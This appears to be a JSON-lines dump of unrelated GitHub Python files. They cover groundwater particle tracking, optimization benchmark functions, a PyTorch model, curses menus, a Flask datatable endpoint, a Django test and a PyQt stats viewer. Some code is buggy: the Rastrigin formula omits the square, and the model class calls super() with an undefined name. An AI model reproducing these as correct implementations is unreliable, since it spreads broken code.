## Create particle array\n # Particles locations are assembled into an array in MODPATH format. Then sort them by group. MODPATH seems to like that.\n\n # In[ ]:\n\n grid = 1\n\n particles = np.zeros( ( num_parts, 11 ) )\n particles[:, 0] = np.arange( 1, num_parts + 1 )\n particles[:, 1] = group\n particles[:, 2] = grid\n particles[:, 3] = lrep + 1\n particles[:, 4] = rrep + 1\n particles[:, 5] = crep + 1\n particles[:, 6:9] = cell_coords\n particles[:, 9] = release_time_trk\n particles[:, 10] = label\n\n # sort_index = np.argsort(group)\n # particles = particles[sort_index, :]\n\n\n # ## Write particle starting locations\n # The external particle starting locations file is written, including header information.\n\n # In[ ]:\n\n print(' Write starting locations for {} particles'.format(particles.shape[0]))\n\n PartStartForm = '%6d %6d %3d %3d %3d %3d %12.9f %12.9f %12.9f %12.9e %15.3f'\n line = '{:5d}\\n{:5d}\\n'.format(1, num_depth_groups + 1)\n for item in range(1, num_depth_groups + 2):\n line = line + 'group_{}\\n'.format(item)\n npart = ((particles[:, 1]) == item).sum()\n if item == (num_depth_groups + 1):\n line = line + '{:6d}'.format(npart)\n else:\n line = line + '{:6d}\\n'.format(npart)\n dst_pth = os.path.join(model_ws, '{}_flux.loc'.format(fpmg.name))\n np.savetxt(dst_pth, particles, delimiter=' ', fmt=PartStartForm, header=line, comments='')\n\n print (' ... done')\n\n\n # # Run MODPATH and read endpoint information\n\n # ## Get random cells to check budget computations\n # Select 10 random active cells to check cell budget\n\n # In[ ]:\n\n prng = np.random.RandomState(2909591)\n A = (particles[:, 3:6] - 1)\n A = A[prng.choice(A.shape[0], 10, replace=False), :]\n budchk = np.ones((10, 4))\n budchk[:, 1:] = A\n budchk = budchk.astype(np.int32())\n budchk = budchk.tolist()\n\n\n # ## Run MODPATH\n\n # In[ ]:\n\n print(' Write and run MODPATH')\n\n # prepare Modpath files \n SimulationType = 1 # 1 endpoint; 2 pathline; 3 timeseries\n TrackingDirection = 2 # 1 forward; 2 backward\n WeakSinkOption = 1 # 1 pass; 2 stop\n WeakSourceOption = 1 # 1 pass; 2 stop\n ReferemceTimeOption = 2 # 1 time value; 2 stress period, time step, relative offset\n StopOption = 2 # 1 stop with simulation 2; extend if steady state 3; specify time\n ParticleGenerationOption = 2 # 1 automatic; 2 external file\n TimePointOption = 1 # 1 none; 2 number at fixed intervals; 3 array\n BudgetOutputOption = 3 # 1 none; 2 summary; 3 list of cells; 4 trace mode\n ZoneArrayOption = 1 # 1 none; 2 read zone array(s) \n RetardationOption = 1 # 1 none; 2 read array(s) \n AdvectiveObservationsOption = 1 # 1 none; 2 saved for all time pts 3; saved for final time pt\n\n options = [SimulationType, TrackingDirection, WeakSinkOption, WeakSourceOption, ReferemceTimeOption, \n StopOption, ParticleGenerationOption, TimePointOption, BudgetOutputOption, ZoneArrayOption, \n RetardationOption, AdvectiveObservationsOption]\n\n mpname = '{}_flux'.format(fpmg.name)\n mp = fp.modpath.Modpath(modelname=mpname, modflowmodel=fpmg, dis_file=dis.file_name[0], exe_name=mp_exe_name,\n model_ws=model_ws, simfile_ext='mpsim', dis_unit=dis.unit_number[0])\n\n mpnf = '{}.mpnam'.format(fpmg.name)\n mplf = '{}.mplst'.format(fpmg.name)\n\n mpsim = fp.modpath.ModpathSim(mp, mp_name_file=mpnf, \n mp_list_file=mplf, \n option_flags=options,\n # ref_time=ref_time,\n ref_time_per_stp=[0, 0, 1.0],\n cell_bd_ct=10, \n bud_loc=budchk,\n extension='mpsim')\n\n mpbas = fp.modpath.ModpathBas(mp, hnoflo=hnoflo, hdry=hdry, \n def_face_ct=2, bud_label=['RECHARGE', 'DRAIN'], def_iface=[6, 6], \n laytyp=upw.laytyp.get_value(), ibound=ibound, \n prsity=por, prsityCB=0.20) \n\n mp.write_input()\n success, msg = mp.run_model(silent=False, report=True)\n\n # delete starting locations to save space--this information is now in the endpoint file\n\n dst_pth = os.path.join(model_ws, '{}_flux.loc'.format(fpmg.name))\n os.remove(dst_pth)\n\n print (' ... done')\n\n\n # ## Check budget\n # Compare the calculated composite budget in the notebook to the cell budget output from MODPATH.\n\n # In[ ]:\n\n with open(os.path.join(model_ws, '{}.mplst'.format(mpname)), 'r') as f:\n lines = f.readlines()\n\n fl = []\n re = []\n for i in lines:\n if 'FLOW IN' in i:\n fl.append(np.float32(i[33:52]))\n if 'QZ2' in i:\n re.append(np.float32(i[48:62]))\n\n def seq(item):\n return item[1] * rxc + item[2] * ncol + item[3] \n seq_arr = np.array([seq(item) for item in budchk])\n\n for k, i in enumerate(seq_arr):\n print('notebook budget for zero-based cell cell {}'.format(budchk[k]))\n \n print(' qx1 = {:10.4f} qx2 = {:10.4f}'.format(qx1[0, i], qx2[0, i]))\n print(' qy1 = {:10.4f} qy2 = {:10.4f}'.format(qy1[0, i], qy2[0, i]))\n print(' qz1 = {:10.4f} qz2 = {:10.4f}'.format(qz1[0, i], qz2[0, i]))\n print('total in from notebook = {:10.4f}'.format(flow_sum[0, i]))\n print('total in from modflow = {:10.4f}'.format(fl[k+1]))\n print('net notebook total boundary inflow = {:10.4f}'.format(bound_flow[i, :].sum()))\n print('net notebook upper boundary flow = {:10.4f}'.format(qz2[0, i]))\n print('net modflow upper boundary flow = {:10.4f}'.format(re[k+1]))\n print()\n\n\n # In[ ]:\n\n\n\n","repo_name":"DOI-USGS/gw-res-time","sub_path":"Scripts/01a+Calculate+flux-weighted+whole+aquifer--Particles.py","file_name":"01a+Calculate+flux-weighted+whole+aquifer--Particles.py","file_ext":"py","file_size_in_byte":24779,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} +{"seq_id":"4082218846","text":"import numpy as np\n\n\ndef tree_valley_function(x):\n \"\"\"\n Represents a two dimensional Function, with two local and one global minima\n :param x: 1D Rowvector (multiple Values can be passed)\n :type x: Numpy array\n :return: Function values of x\n :rtype: Numpy array\n \"\"\"\n\n y = -(\n np.exp(-((x - 2) ** 2))\n + np.exp(-((x - 6) ** 2) / 10)\n + 1 / (x ** 2 + 1)\n )\n\n return y\n\n\ndef four_humps_function(x):\n \"\"\"\n Function with one global maxima, one local maximum, one glomal minimun an\n a locam minimum\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function values of x\n :rtype: Numpy array\n \"\"\"\n\n y = (1 - x[:, 0] / 2 + x[:, 0] ** 5 + x[:, 1] ** 3) * np.exp(\n -x[:, 0] ** 2 - x[:, 1] ** 2\n )\n\n return y\n\n\ndef himmelblaus_function(x):\n \"\"\"\n The Himmelblau Function is a multi-modal function, with one local maximum\n four local minima.\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function values of x\n :rtype: Numpy array\n \"\"\"\n\n y = (x[:, 0] ** 2 + x[:, 1] - 11) ** 2 + (x[:, 0] + x[:, 1] ** 2 - 7) ** 2\n\n return y\n\n\ndef rotated_hyper_ellipsoid_function(x):\n \"\"\"\n The Rotated Hyper-Ellipsoid function is continuous, convex and unimodal.\n It is an extension of the Axis Parallel Hyper-Ellipsoid function,\n also referred to as the Sum Squares function.\n :param x: N-Dimensional Vector rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function values of x\n :rtype: Numpy Array\n \"\"\"\n x = np.atleast_2d(x)\n y = np.zeros(x.shape[0])\n for i in range(x.shape[1]):\n y = y + x[:, i] ** 2\n\n return y\n\n\ndef matyas_function(x):\n \"\"\"\n The Matyas function has no local minima except the global one.\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function values of x\n :rtype: Numpy array\n \"\"\"\n\n y = 0.26 * (x[:, 0] ** 2 + x[:, 1] ** 2) - 0.48 * x[:, 0] * x[:, 1]\n\n return y\n\n\ndef cross_in_tray_function(x):\n \"\"\"\n The Cross-in-Tray function has multiple global minima. It is shown here\n with a smaller domain in the second plot, so that its characteristic\n \"cross\" will be visible.\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function values of x\n :rtype: Numpy array\n \"\"\"\n\n fact1 = np.sin(x[:, 0]) * np.sin(x[:, 1])\n fact2 = np.exp(np.abs(100 - np.sqrt(x[:, 0] ** 2 + x[:, 1] ** 2) / np.pi))\n y = -0.0001 * (abs(fact1 * fact2) + 1) ** 0.1\n return y\n\n\ndef SixHumpCamelFunction(x):\n \"\"\"\n he plot on the left shows the six-hump Camel function on its recommended\n input domain, and the plot on the right shows only a portion of this\n domain, to allow for easier viewing of the function's key characteristics.\n The function has six local minima, two of which are global.\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: function values of x\n :rtype: Numpy array\n \"\"\"\n\n x1 = x[:, 0]\n x2 = x[:, 1]\n y = (\n (4 - 2.1 * x1 ** 2 + (x1 ** 4) / 3) * x1 ** 2\n + x1 * x2\n + (-4 + 4 * x2 ** 2) * x2 ** 2\n )\n return y\n\n\ndef michalewicz_function(x):\n \"\"\"\n The Michalewicz function has d! local minima, and it is multimodal.\n The parameter m defines the steepness of they valleys and ridges;\n a larger m leads to a more difficult search.\n The recommended value of m is m = 10.\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function Values of x\n :rtype: Numpy array\n Funktioniert nicht so wie es soll\n Quelle:\n http://www.sfu.ca/~ssurjano/michal.html\n \"\"\"\n\n m = 10\n y = np.zeros(x.shape[0])\n for i in range(x.shape[1]):\n y = y + np.sin(x[:, i]) * (np.sin(i * x[:, i] ** 2 / np.pi)) ** (2 * m)\n return -y\n\n\ndef rastrigin_function(x):\n \"\"\"\n The Rastrigin function has several local minima. It is highly multimodal,\n but locations of the minima are regularly distributed.\n :param x: 2D rowvector (a column of rows can be passed)\n :type x: Numpy array\n :return: Function Values of x\n :rtype: Numpy array\n \"\"\"\n\n dim = x.shape[1]\n y = np.zeros(x.shape[0])\n for i in range(x.shape[1]):\n y = y + x[:, i] - 10 * np.cos(2 * np.pi * x[:, i])\n return 10 * dim + y\n","repo_name":"hbrs-cse/treeopt","sub_path":"tests/benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":4495,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"} +{"seq_id":"70835659688","text":"import torch\r\nimport torch.nn as nn\r\nfrom Models import Conformer, SwinTransformer\r\n\r\n\r\ndef bilinear(x):\r\n '''\r\n input: [N, C, H, W]\r\n output: [N, C, C]\r\n Bilinear pooling and sqrt for X-self.\r\n '''\r\n if len(x.shape) == 3:\r\n x = x.permute(0, 2, 1)\r\n if len(x.shape) == 4:\r\n N, C, H, W = x.shape\r\n x = torch.reshape(x, (N, C, H * W))\r\n N, C, HW = x.shape\r\n x = torch.bmm(x, torch.transpose(x, 1, 2)) / (HW)\r\n x = torch.sqrt(F.relu(x)) - torch.sqrt(F.relu(-x))\r\n return x\r\n\r\nclass PMTSPN(nn.Module):\r\n\r\n def __init__(self, device):\r\n super(multiswin, self).__init__()\r\n self.features = Conformer.Conformer(embed_dim=384, num_heads=6, qkv_bias=True)\r\n self.features.load_state_dict(torch.load(\"Module/Conformer_small_patch16.pth\", map_location=torch.device(device)))\r\n dims = [64, 64, 128, 256]\r\n hirs = [16, 16, 16, 32]\r\n wirs = [16, 16, 32, 32]\r\n wins = [4, 4, 8, 16]\r\n self.trans1 = nn.ModuleList([nn.Sequential(nn.AvgPool1d(8, 8),\r\n *[SwinTransformer.BasicLayer(dim=dims[n], input_resolution=(\r\n hirs[n] // 2 ** i, wirs[n] // 2 ** i), depth=2, num_heads=8,\r\n window_size=wins[n] // 2 ** i,\r\n mlp_ratio=4., qkv_bias=True,\r\n qk_scale=None, drop=0., attn_drop=0.,\r\n drop_path=0., norm_layer=nn.LayerNorm,\r\n downsample=SwinTransformer.PatchMerging,\r\n use_checkpoint=False) for i in\r\n range(3)]) for n in range(4)])\r\n\r\n self.trans2 = nn.ModuleList([nn.Sequential(nn.AvgPool1d(3, 3),\r\n *[SwinTransformer.BasicLayer(dim=256, input_resolution=(\r\n 16 // 2 ** i, 24 // 2 ** i), depth=2, num_heads=8,\r\n window_size=8 // 2 ** i,\r\n mlp_ratio=4., qkv_bias=True,\r\n qk_scale=None, drop=0., attn_drop=0.,\r\n drop_path=0., norm_layer=nn.LayerNorm,\r\n downsample=SwinTransformer.PatchMerging,\r\n use_checkpoint=False) for i in\r\n range(3)]) for n in range(4)])\r\n self.final_learner = nn.Sequential(\r\n nn.Linear(11776, 1024),\r\n nn.ReLU(),\r\n nn.Linear(1024, 1024),\r\n nn.ReLU(),\r\n nn.Linear(1024, 1),\r\n nn.Sigmoid()\r\n )\r\n\r\n def forward(self, x1, x2):\r\n xs1, xts1 = self.features(x1)\r\n xs2, xts2 = self.features(x2)\r\n # 1 4 8 12[0,3,7,11]\r\n flags = [0, 3, 7, 11]\r\n res = []\r\n rets = []\r\n for i, f in enumerate(flags):\r\n x1, xt1, x2, xt2 = bilinear(xs1[f]), bilinear(xts1[f]), bilinear(xs2[f]), bilinear(xts2[f])\r\n x1 = torch.cat((x1, x2), dim=2)\r\n x2 = torch.cat((xt1, xt2), dim=2)\r\n x1 = self.trans1[i](x1).flatten(1)\r\n x2 = self.trans2[i](x2).flatten(1)\r\n res.append(x1)\r\n rets.append(x2)\r\n\r\n res = torch.cat(res, dim=1)\r\n rets = torch.cat(rets, dim=1)\r\n result = torch.cat((res, rets), dim=1)\r\n return self.final_learner(result)\r\n","repo_name":"INDTLab/PMTSPN","sub_path":"Models/PMTSPN.py","file_name":"PMTSPN.py","file_ext":"py","file_size_in_byte":4126,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} +{"seq_id":"18920597792","text":"import curses\nfrom curses import wrapper\nfrom curses.textpad import Textbox, rectangle\nfrom typing import List\n\ndef print_centered(window: curses.window, text:str, optional_message:str = \"\"):\n height = text.count(\"\\n\")\n width = 0\n for row in text.split(\"\\n\"):\n if len(row) > width:\n width = len(row)\n y, x = window.getmaxyx()\n y_banner = y//2 - height//2\n x_banner = x//2 - width//2\n window.clear()\n \n rectangle(window, y_banner, x_banner-2, y_banner+height, x_banner+width+2)\n window.addstr(y_banner-2, x//2-len(optional_message)//2, optional_message)\n for row in text.split(\"\\n\"):\n window.addstr(y_banner, x_banner, row)\n y_banner += 1\n window.refresh()\n\ndef centered_coords(window: curses.window, width: int, height: int):\n h, w = window.getmaxyx()\n x = w // 2 - width // 2\n y = h // 2 - height // 2\n return (x, y)\n\ndef centered_box(window: curses.window, width: int, height: int):\n x, y = centered_coords(window, width, height)\n box = curses.newwin(height, width, y, x)\n rectangle(window, y - 1, x - 1, y + height, x + width)\n window.refresh()\n return box\n\ndef textbox_builder(\n window: curses.window, width: int, height: int, header: str, footer: str\n) -> str:\n # BOXES CREATION\n box = centered_box(window, width, height)\n x_cord, y_cord = centered_coords(window, width, height)\n h, w = box.getmaxyx()\n sub_box = curses.newwin(1, width - 4, y_cord + height - 5, x_cord + 2)\n textbox = Textbox(sub_box)\n\n # DRAWING BOXES\n rectangle(box, height - 6, 1, height - 4, width - 2)\n box.addstr(0, w // 2 - len(header) // 2, header, curses.A_UNDERLINE)\n box.addstr(h - 2, w // 2 - len(footer) // 2, footer, curses.color_pair(2))\n\n # GETTING USER INPUT\n box.refresh()\n sub_box.refresh()\n curses.curs_set(1)\n textbox.edit()\n curses.curs_set(0)\n # CLEARING OUT\n window.clear()\n\n return textbox.gather().replace(\" \", \"\")\n\ndef alert_message(window: curses.window, width, height, title, content, ending):\n box = centered_box(window, width, height)\n y, x = box.getmaxyx()\n # ADDING THE CONTENT TO THE BOX\n box.addstr(0, x // 2 - len(title) // 2, title, curses.A_UNDERLINE)\n box.addstr(2, 0, content)\n box.addstr(y - 1, x // 2 - len(ending) // 2, ending, curses.color_pair(2))\n box.refresh()\n # ERASING THE ALERT_MESSAGE IF ENTER KEY IS PRESSED\n while True:\n key = box.getch()\n if key == curses.KEY_ENTER or key in [10, 13]:\n box.clear()\n window.clear()\n box.refresh()\n del box\n break\n\ndef menu_builder(\n window: curses.window,\n width: int,\n header: str,\n options: List[str],\n footer: str,\n default_options: List[str] = [],\n) -> str:\n options += default_options\n height = len(options) + 5\n box = centered_box(window, width, height)\n selected_row = 0\n while True:\n # DRAW MENU\n box.clear()\n box.addstr(0, width // 2 - len(header) // 2, header, curses.A_UNDERLINE)\n for row, value in enumerate(options, ):\n if row == selected_row:\n box.addstr(row+2, width // 2 - len(value) // 2, value, curses.color_pair(2))\n else:\n box.addstr(row+2, width // 2 - len(value) // 2, value)\n box.addstr(height - 1, width // 2 - len(footer) // 2, footer)\n box.refresh()\n\n # CHANGE ROW\n key = window.getch()\n if key == curses.KEY_UP: \n selected_row -= 1\n selected_row %= len(options)\n elif key == curses.KEY_DOWN: \n selected_row += 1\n selected_row %= len(options)\n elif key == curses.KEY_ENTER or key in [10, 13]: \n window.clear()\n return options[selected_row]\n\ndef confirmation_box(window: curses.window, message:str) -> bool:\n window.clear()\n answer = menu_builder(window, 50, message, [\"SI\", \"NO\"], footer=\"Presiona para confirmar.\")\n if answer == \"SI\":\n return True\n if answer == \"NO\":\n return False\n\n\ndef es_telefono_valido(telefono:str):\n validacion = telefono.replace(\"\\n\", \"\").strip().isnumeric()\n if validacion==False:\n return False\n elif len(telefono) != 8:\n return False\n else:\n return True\n","repo_name":"DanielRasho/Project-T","sub_path":"modules/interface/menus.py","file_name":"menus.py","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"12440979631","text":"import pytz\nimport pymongo\nimport decimal\nfrom bson.objectid import ObjectId\nfrom datetime import datetime\nfrom config import TIMEZONE\nfrom flask import jsonify, request\nfrom flask_login import current_user\nfrom app import mongo\nfrom app.auth.models import User\nfrom prime_admin.globals import convert_to_utc\nfrom prime_admin import bp_lms\n\n\n\n@bp_lms.route('/branches//fund-wallet-statements/dt', methods=['GET'])\ndef fetch_branch_fund_wallet_statements_dt(branch_id):\n draw = request.args.get('draw')\n start, length = int(request.args.get('start')), int(request.args.get('length'))\n date_from = request.args.get('date_from', '')\n date_to = request.args.get('date_to', '')\n category = request.args.get('category', '')\n description = request.args.get('description', '')\n total_records: int\n filtered_records: int\n match = {}\n \n if branch_id == 'all':\n total_fund_wallet = 0.00\n\n if current_user.role.name == \"Admin\":\n pass\n elif current_user.role.name == \"Manager\":\n match = {'branch': {\"$in\": current_user.branches}}\n elif current_user.role.name == \"Partner\":\n match = {'branch': {\"$in\": current_user.branches}}\n elif current_user.role.name == \"Secretary\":\n match = {'branch': current_user.branch.id}\n accounting = mongo.db.lms_accounting.find_one({\"branch\": current_user.branch.id})\n total_fund_wallet = decimal.Decimal(str(accounting.get('total_fund_wallet', \"0.00\")))\n else:\n if current_user.role.name == \"Admin\":\n match = {'branch': ObjectId(branch_id)}\n accounting = mongo.db.lms_accounting.find_one({\"branch\": ObjectId(branch_id)})\n elif current_user.role.name == \"Manager\":\n match = {'branch': ObjectId(branch_id)}\n accounting = mongo.db.lms_accounting.find_one({\"branch\": ObjectId(branch_id)}) \n elif current_user.role.name == \"Partner\":\n match = {'branch': ObjectId(branch_id)}\n accounting = mongo.db.lms_accounting.find_one({\"branch\": ObjectId(branch_id)}) \n elif current_user.role.name == \"Secretary\":\n match = {'branch': current_user.branch.id}\n accounting = mongo.db.lms_accounting.find_one({\"branch\": current_user.branch.id})\n\n total_fund_wallet = decimal.Decimal(str(accounting.get('total_fund_wallet', \"0.00\")))\n\n if date_from != \"\":\n match['date'] = {\"$gt\": convert_to_utc(date_from, 'date_from')}\n \n if date_to != \"\":\n if 'date' in match:\n match['date']['$lt'] = convert_to_utc(date_to, 'date_to')\n else:\n match['date'] = {'$lt': convert_to_utc(date_to, 'date_to')}\n \n if category != \"\":\n match['category'] = category\n \n if description != \"\":\n match['description'] = description \n \n statements_query = mongo.db.lms_fund_wallet_transactions.find(match).sort('date', pymongo.DESCENDING).skip(start).limit(length)\n\n total_records = mongo.db.lms_fund_wallet_transactions.find(match).count()\n filtered_records = statements_query.count()\n\n table_data = []\n \n for statement in statements_query:\n date = statement.get('date', None)\n description = statement.get('description', '')\n category = statement.get('category', '')\n amount_received = statement.get('amount_received', 0.00)\n total_amount_due = statement.get('total_amount_due', 0.00)\n statement_type = statement.get('type', '')\n running_balance = decimal.Decimal(str(statement.get('running_balance', 0.00)))\n created_by = statement.get('created_by', 0.00)\n remarks = statement.get('remarks', 0.00)\n \n if type(date == datetime):\n local_datetime = date.replace(tzinfo=pytz.utc).astimezone(TIMEZONE).strftime(\"%B %d, %Y\")\n elif type(date == str):\n to_date = datetime.strptime(date, \"%Y-%m-%d\")\n local_datetime = to_date.strftime(\"%B %d, %Y\")\n else: \n local_datetime = ''\n \n if category == \"salary_and_rebates\" or category == \"salary\" or category == \"rebates\":\n contact_person : User = User.objects.get(id=description)\n description = contact_person.full_name\n \n if category == \"office_supply\":\n supplier = statement.get('account_no', '')\n else:\n supplier = \"\"\n \n table_data.append([\n local_datetime,\n category.upper(),\n description,\n supplier,\n str(amount_received) if statement_type == \"add_fund\" else '',\n str(total_amount_due) if statement_type == \"expenses\" else '',\n str(round(running_balance, 2)),\n created_by,\n ])\n\n response = {\n 'draw': draw,\n 'recordsTotal': filtered_records,\n 'recordsFiltered': total_records,\n 'data': table_data,\n 'totalFundWallet': str(total_fund_wallet)\n }\n\n return jsonify(response)","repo_name":"likes-team/prime-web-admin","sub_path":"prime_admin/datatables/fund_wallet_statement_datatable.py","file_name":"fund_wallet_statement_datatable.py","file_ext":"py","file_size_in_byte":5050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"18209999319","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport shutil\nimport mock\n\nfrom django.contrib.auth.models import User\nfrom django.test import Client, RequestFactory, TestCase\nfrom django.core.urlresolvers import reverse\nfrom pusherable.mixins import PusherMixin\nfrom pusherable.example.models import PusherableExample\nfrom pusherable.example.views import PusherableExampleDetail\n\n\nclass TestPusherable(TestCase):\n\n def setUp(self):\n self.factory = RequestFactory()\n self.user = User.objects.create_user(\n username='pusher', email='pusher@example.com', password='hunter2'\n )\n self.object = PusherableExample.objects.create(\n text = \"This is a test PusherableExample object\"\n )\n\n @mock.patch(\"pusherable.mixins.Pusher\")\n def test_pusher_templatetags(self, Pusher):\n request = self.factory.get(reverse(\"example\", kwargs={\"pk\": self.object.pk}))\n request.user = self.user\n response = PusherableExampleDetail.as_view()(request, pk=self.object.pk)\n\n channel = u\"{model}_{pk}\".format(\n model=self.object._meta.model_name,\n pk=self.object.pk\n )\n\n self.assertContains(response, \"js.pusher.com/2.2/pusher.min.js\")\n self.assertContains(response, \"pusher.subscribe('{channel}');\".format(\n channel=channel\n ))","repo_name":"pusher/django-pusherable","sub_path":"tests/test_example.py","file_name":"test_example.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"53"} +{"seq_id":"9788817234","text":"# -*- coding: utf-8 -*-\n\n\nfrom PyQt5.uic import loadUi\nfrom PyQt5.QtWidgets import QWidget, QFileDialog\nfrom PyQt5.QtCore import pyqtSlot, Qt\nfrom PyQt5.QtGui import QColor\nimport pyqtgraph as pg\nimport os\n\nimport numpy as np\n\n\nPRIMARY_LABEL_STYLE = {\n 'color': 'green',\n 'font-size': '20pt'\n}\n\nSECONDARY_LABEL_STYLE = {\n 'color': 'yellow',\n 'font-size': '20pt'\n}\n\n\nclass StatsViewer(QWidget):\n def __init__(self, settings, main_win):\n super(StatsViewer, self).__init__()\n # setup layout\n dir_ = os.path.abspath(os.path.dirname(__file__))\n loadUi('%s/ui/window/hits.ui' % dir_, self)\n self.plotWidget.setBackground(QColor(80, 80, 80))\n self.primaryData.clear()\n self.secondaryData.clear()\n # common variable\n self.sorted_idx = None\n # plot items\n self.primary_plot, self.secondary_plot = self.create_plot_items()\n self.primary_plot_item = pg.PlotDataItem(\n symbol='o', pen=QColor('green'), symbolBrush=QColor('green')\n )\n self.primary_hist_item = pg.PlotDataItem(\n stepMode=True, fillLevel=0,\n pen=QColor('green'), fillBrush=QColor('green')\n )\n self.secondary_plot_item = pg.PlotDataItem(\n symbol='o', pen=QColor('yellow'), symbolBrush=QColor('yellow')\n )\n # load settings\n self.settings = settings\n self.main_win = main_win\n self.data_dict = {}\n\n self.browseButton.clicked.connect(self.choose_and_load_stats)\n self.plotButton.clicked.connect(self.plot)\n self.primary_plot.vb.sigResized.connect(self.update_views)\n self.primary_plot_item.sigPointsClicked.connect(self.view_event)\n self.secondary_plot_item.sigPointsClicked.connect(self.view_event)\n\n def create_plot_items(self):\n p1 = self.plotWidget.plotItem\n p2 = pg.ViewBox()\n p1.showAxis('right')\n p1.scene().addItem(p2)\n p1.getAxis('right').linkToView(p2)\n p2.setXLink(p1)\n return p1, p2\n\n @pyqtSlot()\n def choose_and_load_stats(self):\n stats_file, _ = QFileDialog.getOpenFileName(\n self, \"Open Stats File\", 'cxi_hit', \"(*.npy)\"\n )\n if len(stats_file) == 0:\n return\n self.statsFile.setText(stats_file)\n self.load_stats(stats_file)\n\n @pyqtSlot(int, int)\n def view_hits(self, row, _):\n path = self.table.item(row, 0).text()\n dataset = self.table.item(row, 1).text()\n frame = int(self.table.item(row, 2).text())\n self.main_win.maybe_add_file(path)\n self.main_win.load_data(path, dataset=dataset, frame=frame)\n self.main_win.update_file_info()\n self.main_win.change_image()\n self.main_win.update_display()\n\n @pyqtSlot(object, object)\n def view_event(self, _, points):\n x = points[0].pos()[0]\n event = self.sorted_idx[int(x)]\n print('viewing event %d' % event)\n path = self.data_dict['filepath'][event]\n dataset = self.data_dict['dataset'][event]\n frame = self.data_dict['frame'][event]\n self.main_win.maybe_add_file(path)\n self.main_win.load_data(path, dataset=dataset, frame=frame)\n self.main_win.update_file_info()\n self.main_win.change_image()\n self.main_win.update_display()\n\n def load_stats(self, stats_file):\n if not os.path.exists(stats_file):\n return\n data = np.load(stats_file)\n\n # collect all scalar fields for plot\n all_fields = []\n for i in range(len(data)):\n all_fields += list(data[i]['data_dict'])\n all_fields = list(set(all_fields))\n scalar_fields = list(\n set(all_fields) & {\n 'total_intensity',\n 'max_intensity',\n 'clen',\n 'fiducial',\n 'photon_energy',\n 'flow_rate',\n 'pressure',\n 'epics-PV'\n }\n )\n\n # collect all data to data dict\n self.data_dict = {\n 'filepath': [],\n 'dataset': [],\n 'frame': [],\n 'nb_peak': []\n }\n for field in scalar_fields:\n self.data_dict[field] = []\n for i in range(len(data)):\n self.data_dict['filepath'].append(data[i]['filepath'])\n self.data_dict['dataset'].append(data[i]['dataset'])\n self.data_dict['frame'].append(data[i]['frame'])\n self.data_dict['nb_peak'].append(data[i]['nb_peak'])\n for field in scalar_fields:\n self.data_dict[field].append(data[i]['data_dict'][field])\n for key, value in self.data_dict.items():\n self.data_dict[key] = np.array(value)\n\n self.primaryData.clear()\n self.secondaryData.clear()\n self.primaryData.addItems(scalar_fields + ['nb_peak'])\n self.secondaryData.addItems([''] + scalar_fields + ['nb_peak'])\n self.plot()\n\n def update_views(self):\n self.secondary_plot.setGeometry(\n self.primary_plot.vb.sceneBoundingRect()\n )\n self.secondary_plot.linkedViewChanged(\n self.primary_plot.vb, self.secondary_plot.XAxis\n )\n\n def plot(self):\n self.primary_plot.clear()\n self.secondary_plot.clear()\n\n primary_dataset = self.primaryData.currentText()\n primary_data = self.data_dict[primary_dataset]\n\n if self.linePlot.isChecked():\n sort_data = self.sortDataset.isChecked()\n if sort_data:\n self.sorted_idx = np.argsort(primary_data)\n else:\n self.sorted_idx = np.arange(len(primary_data))\n\n self.primary_plot_item.setData(\n x=np.arange(len(primary_data)),\n y=primary_data[self.sorted_idx]\n )\n self.primary_plot.addItem(self.primary_plot_item)\n self.primary_plot.getAxis('left').setLabel(\n primary_dataset, **PRIMARY_LABEL_STYLE\n )\n self.primary_plot.getAxis('bottom').setLabel(\n 'index', color='#ffffff'\n )\n self.primary_plot.autoRange()\n\n secondary_dataset = self.secondaryData.currentText()\n if len(secondary_dataset) == 0:\n return\n secondary_data = self.data_dict[secondary_dataset]\n self.secondary_plot_item.setData(\n x=np.arange(len(secondary_data)),\n y=secondary_data[self.sorted_idx]\n )\n self.secondary_plot.addItem(self.secondary_plot_item)\n self.primary_plot.getAxis('right').setLabel(\n secondary_dataset, **SECONDARY_LABEL_STYLE\n )\n self.primary_plot.autoRange()\n self.update_views()\n\n else:\n if primary_data.max() == primary_data.min():\n print('Skip single value distribution of %.3e'\n % primary_data[0])\n return\n bin_size = self.binSize.value()\n bin_num = (primary_data.max() - primary_data.min()) / bin_size\n if bin_num > 1000:\n bin_size = (primary_data.max() - primary_data.min()) / 1000\n print('Bin size too small, set to %.2f' % bin_size)\n elif bin_num < 2:\n bin_size = max(\n (primary_data.max() - primary_data.min()) / 2,\n 0.001\n )\n print('Bin size too big, set to %.2f' % bin_size)\n\n self.binSize.setValue(bin_size)\n y, x = np.histogram(\n primary_data,\n bins=np.arange(\n primary_data.min() * 0.9,\n primary_data.max() * 1.1,\n bin_size\n )\n )\n self.primary_hist_item.setData(\n x, y\n )\n self.primary_plot.addItem(self.primary_hist_item)\n self.primary_plot.getAxis('bottom').setLabel(\n primary_dataset, **PRIMARY_LABEL_STYLE\n )\n self.primary_plot.getAxis('left').setLabel(\n 'count', color='#ffffff'\n )\n self.primary_plot.autoRange()\n\n","repo_name":"LiuLab-CSRC/ClickX","sub_path":"stats_viewer.py","file_name":"stats_viewer.py","file_ext":"py","file_size_in_byte":8263,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} 